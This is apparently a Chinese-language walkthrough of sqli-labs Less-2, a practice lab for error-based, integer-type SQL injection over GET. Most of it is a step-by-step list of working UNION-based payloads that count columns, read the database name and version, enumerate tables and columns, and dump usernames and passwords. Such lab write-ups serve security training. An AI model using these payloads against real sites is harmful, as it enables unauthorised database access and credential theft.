第二关-Less-2:
第二关-Less-2:
GET - Error based - Intiger based (基于错误的GET整型注入):
先判断是否存在sql注入漏洞

页面回显返回错误,说明存在sql注入
再判断它的注入点


通过回显可知是数字型注入,然后现在将第一关的sql注入语句改为数字型,就可以注入成功
//判断字段:
?id=1 order by 1 -- +
?id=1 order by 2 -- +
?id=1 order by 3 -- +
?id=1 order by 4 -- +
//爆显示位:
?id=100 union select 1,2,3 --+
?id=-1 union select 1,2,3 --+
//爆数据库名和版本号:
?id=-1 union select 1,database(),version() --+
//爆表名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +
//爆列名:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
//爆出列名对应的数据:
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

得到用户名和密码

浙公网安备 33010602011771号